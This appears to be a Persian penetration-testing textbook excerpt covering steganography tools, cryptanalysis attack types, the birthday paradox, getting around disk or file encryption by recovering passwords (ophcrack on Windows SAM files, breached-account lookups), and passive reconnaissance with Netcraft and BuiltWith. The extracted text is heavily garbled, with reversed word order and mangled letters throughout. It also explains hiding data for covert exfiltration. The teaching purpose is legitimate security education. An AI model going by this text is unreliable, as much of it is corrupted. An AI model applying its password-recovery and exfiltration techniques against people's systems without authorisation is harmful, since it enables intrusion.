 از غیر ،کس هیچ که ای گونه به باشد می پنهان های پیام نوشتن دانش و هنر ،استگانوگرافی
 طریق از امنیت نوعی این درواقع .کند نمی شک پیام وجود به ،نظر مورد گیرنده و فرستنده

 تصویر مانند دیگر های فایل از برخی در پیام این غالباً .باشد می (obscurity پنهانکاری)
 .کند جلوگیری تشخیص از تا کنند می پنهان صوتی فایل یا دیجیتال
 به را افراد توجه ها مپیا که باشد می بدینگونه کردن رمزنگاری تنهایی به نسبت استگانوگرافی مزیت
 رمزگشایی در سعی وی تا آنجاست در پیام که باشد اطلاع بی کسی اگر حتی کند، نمی جلب خود
 .شوند می پنهان و رمزگذاری استگانوگرافی طریق از ها پیام موارد از بسیاری در .نکند آن

 Least میتاه کم های بیت از که باشد می صورت بدین استگانوگرافی اجرای ترین متداول

significant bits (LSB) اهمیت کم بیت تغییر با .کند می استفاده ها داده ذخیره برای فایل در، 
 باشد، نمی مشاهده قابل وجه هیچ به که اصلی فایل در تغییر بدون را اضافی های داده توانید می
  .کنید پنهان
 :دبدانی باید که دارد وجود اساسی استگانوگرافی اصطلاحات برخی

o Payload پیامی این ،دیگر عبارت به .شود منتقل مخفیانه صورت به باید که است ای داده 
 .کنید پنهان خواهید می که است
o حامل carrier که است ای داده فایل یا جریان ،سیگنال Payload است شده پنهان آن در. 
o کانال channel صوتی فایل یا فیلم ،عکس است ممکن است،که استفاده مورد رسانه نوع 

 .باشد
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 فایل هر در .باشد می اهمیت کم های بیت طریق از استگانوگرافی روش ترین متداول امروزه
 ویندوز در تصویری فایل یک ،مثال عنوان به .دارد وجود فایل واحد در بیت مشخصی تعداد
 چشم با یرتغی آنگاه ،دهید تغییر را ها بیت آن از مقدار کمترین اگر .است پیکسل هر در بیت 24

 تصویر فایل یک تیاهم کم های تیب در را اطلاعات توانید می و .نیست مشاهده قابل غیرمسلح
 فایل در خاصی های بیت least significant bit (lsb) تیاهم کم بیت جایگزینی با .کنید پنهان
 .شوند می جایگزین حامل

 

  یاستگنوگراف خیتار

 ها امیپ کردن پنهان یبرا ها فایل یتالیجید یدستکار یمعنا به یاستگانوگراف مدرن، دوران در
 یها روش خیتار طول در .ستین یدیجد موضوع ها امیپ کردن پنهان مفهوم حال، نیا با است.
 است. شده استفاده یادیز
 نیا .دندیبلع می حمل یبرا را ها آن و دندیچیپ می موم در را ها ادداشتی باستان های ینیچ 

 .بود ها امیپ کردن پنهان یبرا مؤثر اما بوده مخا و تجربه بی روش
 سپس و نوشته او سر یرو یامیپ ،دهیتراش رسان امیپ کی سر بود ممکن باستان ونانی در 

 ازین زمان یمدت به روش نیا که است یهیبد کند. رشد دوباره او یموها که شد می داده اجازه
 باشد. دسترس در تا داشت

 کدرد  فیتوص را یروش و نوشت یرمزنگار نهیزم در یکتاب سویتمیتر وهانسی 1499 سال در 
 .شد می یمخف خاص ستون کی در ای کلمه عنوان به حرف هر کردن پنهان با امیپ آن در که
 را هایی امیپ ینامرئ جوهر از استفاده با فرانسه مقاومت نیروی دوم یجهان جنگ طول در 

 .کردند می ارسال و نوشته کیپ شخص پشت
 که است ریتحر نیماش دوره کی اندازه به افتهین توسعه لمیف / ریتصاو نقطه( یزمیکرودات)ر 
 جاسوسان توسط سرد جنگ طول در نهایا که شد می گفته است. گرفته یجا ضرر یب اسناد در

 .شد می استفاده
 های دستگاه از متحده الاتیا یمرکز اطلاعات آژانس سرد، جنگ طول در نیهمچن 

 به را تنباکو لوله ها آن مثال، عنوان به .ندکرد می استفاده ها امیپ ردنک پنهان یبرا یمختلف
 را آن ستندتوان می و داشت لمیف کرویم کردن پنهان یبرا یکم یفضا که دادند توسعه صورتی

 . کنند( بسوزانند)دود
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 ها امیپ کردن پنهان یبرا یگرید های روش ها، کامپیوتر پیدایش از قبل ،گذشته های زمان در
 شد. می استفاده

 

 Methods and Tools ابزارها و ها روش

 حداقل ای هستند گانیرا ها آن از یاریبس دارد. وجود یاستگانوگراف یاجرا یبرا ابزار یتعداد
 است: شده ذکر نجایا در ابزارها نیا از یتعداد .باشند می گانیرا یشیآزما نسخه دارای

QuickStego محدود اریبس اما آسان استفاده. 
 MP3Stego های فایل در بار کردن یمخف یبرا خاص طور به MP3. 

Stealth Files 4 د.کن می کار یریتصو های لیفا و ییدئویو های لیفا ،یصوت های لیفا با 
SNOW کند می یمخف یخال یفضا در را ها داده. 

 StegVideo کند می پنهان دئویو یتوال کی در را ها داده. 
 Invisible Secrets دارد یمختلف های نهیگز که متنوع اریبس یاستگانوگراف یبزارا. 
 

Simple Stego. 

 :دیکن افتیدر رایگان steganography و ساده برنامه کی تیسا وب این از دیتوان می نیهمچن
http://www.chuckeasttom.com/tutorialsandnotes.htm باشد می صفحه یانتها تقریبا. 

 و آسان اریبس آن از استفاده اما ،باشد نمی موجود برنامه ترین دهیچیپ که است ذکر به لازم
 حامل ریتصو کی ،دیکن می پیتا دیکن پنهان دیخواه می که را یمتن یسادگ به !تاس گانیرا

carrier یرو سپس ،دیکن می باز را hide 3-8 شکل در دیتوان می را ابزار نیا .دیکن می کیکل 
 .دیکن مشاهده

 

DeepSound. 
 استفاده یصوت های لیفا در ها داده کردن پنهان یبرا و است گانیرا نیهمچن برنامه نیا

 .دیکن دانلود /http://jpinsoft.net/deepsound لینک از را DeepSound دیتوان می شود. می
 یمعن نیا به باشد، خاص (carrier file) حامل فایل در تواند می فایل نیا که دیباش داشته توجه
 است: ساده اریبس کار روند کنند. نمی کار یسادگ به یصوت های لیفا از یبرخ که

 .دیکن باز را (یصوت های لیفا از ی)برخ carrier فایل کی .1 مرحله
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 و متن ،jpeg )دیکن پنهان دیخواه می که فایلی چند ای کی :یمخف های فایل افزودن .2 مرحله
  (رهیغ

 .دیکن کیکل را Encode secret files)) یمخف های فایل یرمزگذار .3 مرحله

 
 Simple Stego .3-8 شکل

 

 .دیکن مشاهده 3-9 شکل در دیتوان می را روند نیا
 

 
 DeepSound .3-9 شکل
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 متخصص یداخل راداف غالباً، شود. می استفاده ها داده کردن پنهان یبرا معمولاً یاستگانوگراف
 نفوذ کننده تست کی کنند. می استفاده ینوگرافاستگا از ،دارند ها داده در نفوذ به لیما که یفن
 در یاستگانوگراف صورت به که یزیچ کند، خارج هدف شبکه از را خود لیمیا کند یسع دیبا

 یحت ای دهد نمی صیتشخ را پنهان فایل ،شبکه تیامن شتریب .ستا شده پنهان یگرید فایل
 شود. نمی متوجه را لیمیا وستیپ
 

 Cryptanalysis یرمزنگار لیتحل و هیتجز

 یبرا ها روش از یبرخ یجستجو اساساً است. ترسناک روش کی یرمزنگار لیتحل و هیتجز
 کار کی ،کنید می مشاهده ها لمیف در آنچه برخلاف و .باشد می ها یرمزگذار از یبرخ شکستن

 یرمزنگار لیتحل و هیتجز شود. می منجر یجزئ تیموفق به فقط غالباً که است ریگ وقت اریبس
 یب و ساده های تلاش از کارآمدتر که است امیپ ییرمزگشا یبرا یروش هر از استفاده شامل
 دیکل هر یسادگ به (brute force انه)رحم یب یروین که دیباش داشته خاطر به است. رحمانه
 کند. می امتحان را ممکن

 هرگونه تنافی واقع در .ستین (cipher) رمز شکستن لزوما یرمزنگار لیتحل در تیموفق کی
 تیموفق از یمختلف انواع شود. می محسوب تیموفق هدف، دیکل ای رمز مورد در اطلاعات
 دارد: وجود یرمزنگار

 .کند می استنباط را یمخف دیکل مهاجم :Total break یکل شکستن 
 یرمزگذار یبرا یعملکرد معادل تمیالگور کی مهاجم :Global deduction گسترده استنتاج 
 .دیکل یریادگی بدون اما کند می کشف ییرمزگشا و
 را (ییرمزها ای) یگرید های متن مهاجم :Instance (local) deduction (ی)محل نمونه استنتاج 
 کند. می کشف بودند نشده شناخته قبلاً که
 مورد در را شانون اطلاعات از یبرخ مهاجم :Information deduction اطلاعات استنتاج 

 آورد. می دست به بودند نشده شناخته قبلاً که (Ciphertexts رمزها متن ای) مختلف های متن
 است. خارج فصل نیا حوصله از شانون اطلاعات مفهوم
 یتصادف شتگیجا از را رمز تواند می مهاجم :Distinguishing algorithm صیتشخ تمیالگور

(Random permutation) یرمزنگار تحلیل و تجزیه زمینه در کاملی کتابهای دهد. صیتشخ 
 در را یاساس میمفاه یبرخ فقط که باشد می صورت بدین بخش نیا از هدف است شده نوشته
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 یگرید یها روش قطعاً .دیباش داشته یعموم درک هیپا سطح در تا دهد ارائه شما به نهیزم نیا
 است. نگرفته قرار بحث مورد بخش نیا در که دارد وجود زین
 

  (Frequency Analysis) فرکانس لیتحل و هیتجز
 برابر در .باشد می کیکلاس یرمزها اکثر شکستن یبرا یاساس ابزار فرکانس لیتحل و هیتجز

 از یبرخ که است نیا بر یمبتن تیواقع نیا .ستین دیمف مدرن نامتقارن ای متقارن یرمزنگار
 از شتریب باالف حروف از یبعض ها، زبان همه در است. گرانید از شتریب حروف بیترک و حروف
 به مربوط اطلاعات از یبرخ دیتوان می ها، فرکانس نیا یبررس با شوند. می ظاهر دیگر حروف

 and و the کلمات که دیباش داشته خاطر به یسیانگل در .دیآور دست به را استفاده مورد دیکل
 مهکل کی در اگر هستند. a و I حرف تک کلمات ترین رایج هستند. یحرف سه رایج کلمه دو
 است. oo ای ee ادیز احتمال به ،کنید مشاهده هم با کسانی حرف دو
 

 Modern Methods نینو یها روش
 به تیموفق سطح است. آور دلهره کاملاً مدرن یرمزنگار یها روش کردن( )کرک شکستن
 اگر هستند. ها داده و زمان ،یمحاسبات قدرت شامل منابع نیا دارد. یبستگ منابع از یبیترک
 اما .دیکن کرک را مدرن یرمزنگار هر دیتوان می ،دیباش داشته را موارد نیا از ینامحدود رمقدا
 .اشتد دینخواه تینها یب مقدار

 

  (Known Plaintext Attack) شده شناخته ساده متن حمله
 ها آن از حاصل رمزآلود های متن و شده شناخته های متن از ای نمونه داشتن بر یمبتن روش نیا
 است. استفاده مورد دیکل مورد در یزیچ کردن مشخص یبرا اطلاعات نیا از استفاده سپس و
 نظر در را لیمیا .باشد می رتانتصو از تر آسان شده شناخته ساده متن های نمونه آوردن دست به
 تا اگر مثال عنوان به کنند. می استفاده استاندارد یامضا بلوک کی از افراد، از یاریسب .دیریبگ
 اگر سپس .ستیچ من یامضا بلوک دیدان می ،دیا کرده افتیدر یلیمیا من از الح به
 یامضا بلوک دیتوان می ،دیکن یریرهگ را ام کرده ارسال که را ای شده یرمزگذار های لیمیا

 مشخص متن کی سپس .دیکن سهیمقا شده یرمزگذار لیمیا یانتها با را شده شناخته
plaintext رمز متن و ciphertext لازم تیموفق یبرا داشت. دیخواه آن با کار یبرا متناسب 

 باشد. شده شناخته (plaintex ) ساده متن نمونه هزاران است
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 Chosen Plaintext Attack)) شده انتخاب ساده متن حمله

 یبرا هدف جلب یبرا را یروش مهاجم که تفاوت نیا با دارد، ساده متن حمله با کینزد رابطه
 مهاجم به تواند می حمله نیا است. کرده دایپ کند، می انتخاب مهاجم که ییامهایپ یرمزگذار
 با شده یرمزگذار های امیپ ریسا جهینت در و کرده استخراج را استفاده مورد دیکل تا دهد اجازه
 تیموفق یبرا .ستین رممکنیغ اما باشد دشوار تواند می روش نیا کند. ییرمزگشا را دیکل آن
 باشد. شده انتخاب ساده متن نمونه هزاران است لازم
 

  ((Ciphertext-Only Attack رمز متن به فقط حمله

 شده شناخته ساده متن از شتریب اریبس احتمال دارد. یدسترس رمزها از ای مجموعه به فقط مهاجم
 صورت در یحت ای متناسب، های متن استنباط صورت در .باشد می نیدشوارتر نیهمچن است،
 مورد در تاطلاعا گونه هر آوردن دست به ییتوانا است. آمیز موفقیت کاملاً حمله ،دیکل امکان
 شود. می محسوب تیموفق کی هنوز یاساس یاصل متن
 

  ((Related-Key Attack یدیکل حمله با مرتبط حمله

 یرمزگذار یرمزها متن تواند می مهاجم که تفاوت نیا با ،باشد می ساده متن حمله کی مانند
 را آن رمز متن قیتطب و ساده متن دیبتوان اگر .است هآورد را مختلف دیکل دو تحت شده
 .باشد می دیمف اریبس حمله کی نیا ،دیآور دست به
 یها روش شود. می استفاده بلوک یرمزها به حمله یبرا که است یاساس یکردهایرو نهایا
 رمزنگاری لیتحل و هیتجز مانند است، خارج کتاب نیا حوصله از که دارد وجود یگرید
 یبرا . (linear cryptanalysis) یخط یرمزنگار و (differential cryptanalysis) لیفرانسید

 .دیباش داشته تسلط فنون نیا بر که ستین لازم کامپیوتر، اصول تیامن درک
 

  (The Birthday Paradox) تولد پارادوکس

 را شده هش عبور یرمزها تا ندک کمک شما به تواند می که دارد وجود یاضیر یمعما کی
 نامند( می نیز تولد مشکل را آن اوقات یگاه )که شود می دهینام تولد پارادوکس که ،دیکن دایپ
 نفر دو تولد ادیز احتمال تا دیباش داشته اتاق کی در دیبا را نفر چند شما است: نیا مسئله .
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 ،دیده قرار اتاق کی در را نفر 367 اگر است، یهیبد ؟ سال( نه روز، و ماه یعنی) باشد کسانی
 سال کی در روز 365 فقط رایز باشند، داشته یکسانی تولد روز دیبا ها آن از نفر دو حداقل
 یبرا نفر چند به که میپرس نمی حال، نیا با .سهیکب سال کی در هیفور 29 + و دارد وجود
 اتفاق کاملاً .دیدار ازین یقو احتمال داشتن یبرا نفر چند به فقط ،دیدار ازین مسابقه کی نیتضم
 یکسانی تولد نفر دو که دهید می احتمال ٪50 شما اتاق، در نفر 23 حضور با یحت که افتد می
 باشند. داشته
 به یاساس احتمال باشد؟ کارساز تواند می کم تعداد نیا چگونه ؟دارد وجود امکانش طور چه
 است برابر رویدادها همه وقوع احتمال ند،باش مستقل گریکدی از رویدادها یوقت که دیگو می ما
 با را خود تولد اول شخص نکهیا احتمال ،نیبنابرا .رویدادها از کی هر احتمالات مجموع با
 ندارد. وجود یقبل افراد مجموعه نیا در رازی ،است ٪100 نکند، میتقس یقبل شخص چیه
 و دارد وجود قبل نفر کی قطف دوم نفر یبرا اکنون شود. نوشته 365/365 عنوان به تواند می

 شخص یبرا است. 365/364 باشد داشته اول شخص با یمتفاوت تولد دوم شخص نکهیا احتمال
 نیبنابرا باشد، داشته مشترک تولد ها آن با او است ممکن که دارد وجود یقبل نفر دو سوم
 نهایا از کی هر که آنجا از است. 365/363 یقبل نفر دو هر از متفاوت تولد داشتن شانس
 :میکن محاسبه ریز صورت به را احتمال میتوان می هستند، مستقل

.365/365 * 364/365 * 363/365 * 362/365 … * 342/365 
  است( یقبل فرد با نفر 23 تولد میتقس احتمال 342)

 نیسوم در کردن )کوتاه ریز بازده که ،میکن لیتبد یاعشار ریمقاد به را موارد نیا دیده اجازه
 است: (یاعشار مرق

1 * 0.997 * .994 * .991 * .989 * .986 * ….936 =.49 or 49%. 
 دارد وجود شانس( حتی از بهتر) ٪51 ،نیبنابرا .باشند نداشته مشترک تولد اینکه احتمال 49٪
 .باشند داشته مشترک تولدنفر 23 از 2 که
 متولد روز کی در نفر 2 نکهیا احتمال ،دیباش داشته نفر 30 اگر ،شده اشاره موضوع به توجه با

 ادیز اریبس که ابدی می شافزای ٪97 احتمال دباشی داشته نفر 50 اگر .است ٪70.6 باشند شده
 هر یبرا توان می را مفهوم نیهم کند. نمی صدق تولد یروزها مورد در یسادگ به که باشد می

 استفاده یرمزنگار لیتحل و یرمزنگار در اغلب که شود، گرفته کار به ها داده از ای مجموعه
 شود. می
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 را یخروج همان که است متفاوت یورود دو افتنی هدف ،یرمزنگار هش توابع به اشاره با
 کنند، می دیتول یرمزنگار هش کی از را یکسانی یخروج ،یورود دو یوقت کنند. می دیتول
 نیاز مورد عنصر n از یا مجموعه های نمونه تعداد اتفاقاً شود. می ادی تصادم عنوان به آن از که
         قبلی، تولد مسئله به بازگشت است. n√ 1.174 تصادم یا تطابق آوردن دست به برای

1.174 √365 = 22.49. 
 تولد پارادوکس ،یکل طور به .دیکن اعمال یرمزنگار مسائل ریسا یبرا را مورد نیا دیتوان یم
 را هش همان که یمقدار یعنی) دیکن دایپ تصادمی دیخواه می اگر شود. می اعمال هش در
 طول دیکن می فکر که آنقدر دارد امکان که دیگو می شما به تولد پارادوکس کند(، می دیتول

 نکشد.
 

  (Practical Application) عملی اپلیکیشن( کاربردی) برنامه

 زمان هر در حداقل را یمدرن یرمزگذار چیه احتمالاً شد، ذکر فصل نیا در قبلاً که طور همان
 تا پردازد می شما یادگیری به شتریب شد بحث قبلاً که هایی روش شکست. دینخواه ،سبمنا

 یکار چه ،سکید کامل یرمزگذار ای فایل یرمزگذار زدن دور یبرا ،نیبنابرا .یواقع کاربرد
 ؟دهیم انجام
 یبرا کاربر کند. می استفاده عبور یرمزها از یرمزگذار افزار نرم که دیباش داشته خاطر به
 یابیباز یها روش همان از ،نیبنابرا کند. می وارد را عبور رمز ،ویدرا ای لیفا ییمزگشار

 گفتم من ،دیکن توجه کرد. استفاده (bypassی)رمزگذار زدن دور یبرا توان می عبور یرمزها
 ست؟یچ ها روش ،نیبنابرا .عبور رمز شکستن نه (،bypassی)رمزگذار زدن دور
 کی مثال، عنوان به .دیکن امتحان ،دیا کرده یابیباز گرید منابع از هک را خود عبور یرمزها اول
 باشد یعبور رمز مشابه کاملاً است ممکن ندوزیو SAM لیفا کی از شده یابیباز عبور رمز
 اهدهمش را عبور یرمزها یالگو است ممکن یحت شود. می استفاده لیفا یرمزگذار یبرا که
 باشند. مربوط خاص یرزشو میت کی به ها آن همه دیشا .دیکن
 رمزهای معمولاً افراد .کنید امتحان را نظر مورد شخص به مربوط عبور رمزهای راحتی به ،دوم
 که دارد تعجب جای همیشه .کنند می انتخاب را علایقشان و ها سرگرمی با متناسب عبور

 استفاده هستند ها آن شرکت نام یا صنعت به مربوط که عبور رمزهای از بار چند شرکتها
 .کنند می
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 Other Passwords گرید عبور یرمزها

 یبرا کاربر عبور یرمزها از یبرخ معمولاً ،سکید هارد و لیمیا یرمزگذار با خصوص به
 یرمزگذار یابزارها از یاریبس باشد. داشته وجود دیبا ها آن به یدسترس و اطلاعات ییرمزگشا
 Microsoft BitLocker مثال، عنوان به کنند. می استفاده یقو اریبس یرمزگذار از سکید هارد
 از آزاد منبع هارد ویدرا یرمزگذار ابزار نیچند کند. می استفاده یتیب 128 دیکل با AES از

AES نیا با .ستین ریپذ امکان یسادگ به دیکل شکستن کنند. می استفاده یتیب 256 دیکل کی با 
 در مشابه( جایگشت ملاحظه قابل طور به ای) مشابه عبور رمز از کاربر که دارد امکان حال،
 خود. ندوزیو عبور رمز ای خود لیمیا حسابدر مثال عنوان به باشد، کرده استفاده یگرید مکان
 و کرده استفاده کاربر ندوزیو کامپیوتر در ophcrack از دیبخواه است ممکن مثال، عنوان به
 دیکن امتحان را (دیکن استفاده زین ها بوررمزع آن مکان رییتغ از نیهمچن )و را عبور یرمزها آن
 .دیکن ییرمزگشا را شده یرمزگذار لیمیا ای شنیپارت و
 وب نیچند .ستندین آگاه خود لیمیا رمزعبور )شکستن(شدن کرک از یحت مردم از یاریبس
 روبرو لینک آن ترین محبوب دارند. می نگه را شده شکسته لیمیا های حساب از یستیل تیسا

https://haveibeenpwned.com باشد. می 
 شده یرمزگذار ویدرا شکستن در یسع که دیهست قانون یاجرا مامور کی مثال، عنوان به اگر
 ایآ کنید مشاهده تا کرده یبررس را ها تیسا نیا دیبخواه است ممکن ،دیدار را مظنون به متعلق
 هارد ییرمزگشا یبرا دیتوان می سپس .ریخ ای است شده شکسته مظنون آن لیمیا حساب

 .دیکن استفاده ها گشتیجا بستن و لیمیا عبور رمز از سکید
 

 دیاموزیب شتریب

 یرمزنگار نهیزم در را شما تواند نمی فصل کی ،شد اشاره فصل نیا مقدمه در که طور همان
 که بود یزیچ همان فصل نیا در مندرج اطلاعات خوانندگان، از یبرخ یبرا کند. متخصص

 آن یبرا است. یکاف شما یبرا نفوذ های تست انجام واقع، در و .کنند درک ستندخوا می واقعاً
 اشتراک به را منبع چند دیده اجازه ،دارند بیشتر دانش به تمایل که یخوانندگان از دسته

 استاد کی توسط که ،کنم می آشنا نیآنلا یرمزنگار یعال دوره یک با به را شما اول، بگذارم.
 از یکی بونه دکتر شود. می سیتدر Dan Boneh)) بونه دن پروفسور ترم،مح اریبس یرمزنگار
 تمام تا داشته لطف وی باشد. می یعال استاد کی و جهان در یامروز رمزنگاران نیمعتبرتر
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 دوره مقدمه همان نیا دهد. قرار نیآنلا صورت به یرمزنگار دوره در را خود مقدمه
 قیطر از دیتوان می و کند می سیتدر استنفورد دانشگاه در بونه دکتر که است یرمزنگار

https://www.coursera.org/learn/crypto دوره این شخصه به من .دیکن دایپ یدسترس آن به 
 کنم. می هیتوص داًیکا را وی
 زین را (Modern Cryptography) مدرن یرمزنگار ،Chuck Easttom یکتابها از یکی
 یافراد یبرا که باشد می رینظ یب جهت نیا از یرمزنگار یایدن در کتاب نیا کنم.می شنهادیپ
 که کنم نشان خاطر دیبا حال، نیا با است. شده گرفته کار به دارندن بالایی اتیاضیر سطح که
 سطح اتیاضیر از یمختصر فقط و کرده بررسی را یاضیر اثبات مانند یموضوعات کتاب نیا

 شده گرفته نظر در رمزنگار ریغ افراد یبرا ای روازهد عنوان به کتاب نیا دهد. می پوشش را بالا
 من که رفته یاضیر تر قیدق متون از یکی سراغ به خواننده کتاب، آن خواندن از هدف است.
 کرد. خواهم ذکر نجایا در

 نگزیاستال امیلیو توسط Cryptography and Network Security شبکه تیامن و یرمزنگار
 کتاب نیا دهد. می پوشش را دیبدان دیبا که را یضرور موارد مهه و باشد می یعال کتاب کی
 است. شده غرق اتیاضیر در Modern Cryptography کتاب از شتریب یکم

 Jonathan نوشته Introduction to Modern Cryptography مدرن یرمزنگار بر ای مقدمه

Katz و Yehuda Lindell کتاب از تر قیدق یفن و یضایر نظر از یقینا است. یخوب اریبس کتاب 
 .باشد می دشوار کار تازه افراد یبرا آن خواندن اما است، نگیاستال کتاب ای مدرن رمزنگاری
 An Introduction to Number Theory with یرمزنگار با اعداد هینظر بر ای مقدمه

Cryptography که طور همان اما ،باشد می خوب اریبس واشنگتن لارنس و کرافت مزیج توسط 
 است. شده غرق اتیاضیر در شتریب داستیپ نامش از

 پروفسور نیآنلا دوره با که است نیا ،دیبپرداز یرمزنگار به دیخواه می واقعاً اگر من، هیتوص
 یازین مدرن رمزنگاری کتاب به احتمالاً ،وی دوره از بعد ،میبگو صادقانه .دیکن شروع بونه
 با مرحله آن در نکهیا به بسته سپس، .کنید مطالعه زین را آن دداری علاقه اگر اما داشت. دینخواه
 و Katz کتاب ای Stallings کتاب الذکر فوق کتاب کناردر ،دیهست آشنا چگونه موضوع
Lindell به سپس و کرده مطالعه نیز را مدرن یرمزنگار کتاب دیتوان می متناوباً، .کنید مطالعه را 
 .دیبرو واشنگتن و کرافت کتاب سراغ
 و باشد می دهیچیپ موضوع کی یرمزنگار که دیبدان دیبا ،دیکن می انتخاب که را یریمس هر
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 یرمزنگار استاد توانید نمی کتاب کی مطالعه با که باشید داشته توجه .دیکن شرفتیپ آن با دیبا
 .دیشو نمی
 

 خلاصه

 گر تحلیل ای رمزنگار نفوذ کننده تست کی ستین لازم و بوده ای دهیچیپ مبحث یرمزنگار
 .باشد می دیمف نفوذ کننده تست کی یبرا یرمزنگار هیاول دانش حال، نیا با باشد. یرمزنگار

 است ممکن حال، نیا با .دیباش موفق مدرن یرمزگذار "شکستن" در شما که است دیبع
 ای فهیوظ زین عبور رمز یابیباز .باشند مناسب یرمزگذار زدن دور یبرا یمختلف های روش
 باشد. داشته وجود دیبا نفوذ تست هر در که است
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 فصل اهداف

 :بود خواهید قادر ،فصل این خواندن از پس
 فعال( )غیر منفعل اکتشاف انجام passive reconnaissance 
 فعال اکتشاف انجام active reconnaissance 
 دیکن یآور جمع یعموم منابع از را اطلاعات. 
 دیکن استفاده پذیری آسیب یاسکنرها و پورت ینرهااسک از. 
 شتریب هرچه یآور جمع مراحل نیاول از یکی نفوذ، تست شروع یبرا شدن آماده از پس

 توسط اطلاعات از یاریبس ،دیسف جعبه تست مورد در .باشد می هدف شبکه مورد در اطلاعات
 به یکم اریبس اطلاعات ،اهیس جعبه تست انجام هنگام .ردیگ می قرار شما اریاخت در یانتانمشتر
 .بیابید ییتنها به را ها آن همه دیبا و شود می داده ارائه شما
 مهاجم به حمله زانیم کشف یبرا قاتیتحق از یبرخ انجام ،دیسف جعبه تست انجام هنگام یحت

 مهاجمان که باشد می هایی کیتکن قاًیدق فصل نیا در بحث مورد های کیتکن است. مناسب
 ها کیتکن نیا از استفاده ،نیبنابرا کنند. می استفاده اهداف مورد در اطلاعات یآور جمع یبرا
 مورد در را اطلاعاتی شما به همچنین کند، می فراهم تاننفوذ تست یبرا را یاطلاعات تنها نه

 .دهد می مهاجمان
 که کرد، میخواه یبررس را پذیری آسیب اسکن موضوع ،"پذیری آسیب اسکن" ،8 فصل در
 نیا در شده داده حیتوض اکتشاف بیترک با شود. می اضافه فصل نیا در شما های کیتکن به

 یبرا را ییابزارها و ها کیتکن دیتوان می ،8 فصل در شده فیتوص پذیری آسیب اسکن با فصل
 .دیباش داشته بالقوه هدف شبکه کی در ادیز اطلاعات یآور جمع

 به یواقع اتصال بدون هدف شبکه کی مورد در لاعاتاط یآور جمع فرایند رفعالیغ اکتشاف
 نفوذ کنندگان تست و کنند می شروع رفعالیغ اکتشاف با شهیهم ماهرتر مهاجمان است. شبکه

 اکتشاف انجام های کیتکن و ابزارها از یبرخ بخش، نیا در .دهند انجام کاری نیچن دیبا زین
 هدف تیسا وب کی در اطلاعات یآور جمع مفهوم که کرد میخواه یبررس را رفعالیغ

 کی جادیا یبرا یفرصت چیه بیترت نیا به .باشد می تیسا وب آن به یواقع اتصال بدون
 ندارد. وجود هدف log های فایل در یابیرد ای نفوذ صیتشخ ستمیس
 

Netcraft. 

 اسدت.  دید مف تیسدا  وب آن بده  اتصدال  از قبدل  هددف  تیسدا  وب کی از شتریب هرچه درک معمولاً
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 را آنچده  تمدام  که مناسب قدم نیاول ،نیبنابرا .باشد می سرورها وب تست شامل اغلب نفوذ های تست
 نید ا در کده  باشد می netcraft.com تیسا ،دیاموزیب خود نظر مورد سرور وب مورد در دیتوان می که
 .دیکن مشاهده 4-1 شکل در را netcraft.com یاصل صفحه دیتوان می .است دیمف اریبس نهیزم

 
 Netcraft.com .4-1 شکل

 چده  تیسدا  آن" عندوان  بدا  یبخشد  و دید کن شیمدا یپ نییپا به یکم فقط صفحه، از دیبازد هنگام
 قرمدز  جعبه در که ،کرد دیخواه مشاهده را " What’s that site running کند؟ می اجرا یکار
 دید کن تسدت  دید خواه مدی  کده  را یتیسا که است مکانی نیا است. شده داده نشان 4-1 شکل در
 را www.ChuckEasttom.com ،تیسدا  وب ،موضدوع  نید ا دادن نشدان  یبدرا  .دید کن می پیتا
 است. شده داده نشان 4-2 شکل در جینتا کردم. پیتا

 
 

 www.ChuckEasttom.com یبرا Netcraft.com گزارش .4-2 شکل

http://www.chuckeasttom.com/


 موزش اصول و مفاهیم تست نفوذآ 104 

 

 قیدق آدرس اطلاعات شوم، متذکر دیبا حال نیا با ارد.د وجود یادیز اطلاعات نجایا در
 .ستین
 وب نام ثبت اطلاعات در را www.ChuckEasttom.com یواقع آدرس هدفمند طور به
 ادیز احتمال به دارند. یبرم ها شرکت از یکم تعداد که است یاقدام نیا .ندارد وجود تیسا
 .باشد می قیدق netcraft.com در شما تماس لاعاتاط

 چه از سروری وب چه که گفت خواهد شما به netcraft.com ،نهیزم شیپ اطلاعات از فراتر
 و است یجالب اریبس اطلاعات نیا .کند می استفاده یسرور وب افزار نرم چه از و یعامل ستمیس
 اطلاعات ریسا باشد. سرور وب به نفوذ یبرا تلاش تیهدا جهت در قدم نیاول تواند می

 وب که کنید می مشاهده اگر مثال، عنوان به .باشد جالب تواند می زین netcraft.com در موجود
 ولی شود، می اجرا 2012 ندوزیو سرور کی در (IIS) ینترنتیا اطلاعات های سیسرو در تیسا
 ندوزیو اغلب رایز .باشد می یمهم اریبس موضوع است، نشده مجدد یانداز راه ماه 8 مدت در
 اگر دارد. ازین (Service packs) خاص سیسرو های بسته و ها پچ با مجدد یانداز راه کی به

 به که یخدمات های بسته و ها پچ از دسته آن باشد، نشده مجدد یانداز راه ماه 8 مدت در سرور
 اند. نشده اعمال یزمان بازه آن در دارند ازین مجدد یانداز راه

 دنبال به که ییجا شود، می همراه وب پذیری آسیب یجستجو با اطلاعات نیا سپس
 موارد نیا است. شده یافته گذشته ماه 8 در که دیهست 2012 ندوزیو در هایی پذیری آسیب
 سرنخ کی تواند می که ،است نشده )پچ( وصله ها آن یبرا سرور نیا که باشد می پذیری آسیب
 کند. فراهم هدف وررس وب به نفوذ محل از ارزشمند

 
BuiltWith. 

 لینکدهد، می گرید های تیسا وب درباره یاطلاعات که یگرید جالب تیسا وب
https://builtwith.com/ تیسا وب کی آنچه به مربوط اتیجزئ تیسا وب نیا .باشد می 

 را (یسینو برنامه و نویسی اسکریپت های بانز چه مثال عنوان )به است شده ساخته آن با هدف
 استفاده www.ChuckEasttom.com تیسا وب از من ،یشینما اهداف یبرا دهد. می ارائه
 است. شده داده نشان 4-3 شکل در آن جینتا که کردم

http://www.chuckeasttom.com/
https://builtwith.com/
https://builtwith.com/
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 BuiltWith.com .4-3 شکل

 

 را هددف  تیاسد  وب سداخت  یبدرا  استفاده مورد های یآور فن از یکل بازبینی کی تیسا نیا
 بایدد  شدما  کده  دهد می نشان ،شود می ساخته چه با سایت وب اینکه دانستن دهد. می ارائه شما به
 ASP.NET تیسدا  وب در اسدت  ممکن مثال، عنوان به .باشید سایت وب نقض برای تلاش در
 .دیکن استفاده PHP تیسا وب به نسبت یمختلف های تکنیک از
 

Archive.org. 

 )صاحبان یگاه .دیشو مطلع مشخص تیسا وب کی خچهیتار از دیواهخ می اوقات، اغلب
 دهند. انجام را کار نیا دینبا که دهند می قرار تیسا وب در را یاطلاعات ،تیسا وب مالکان(
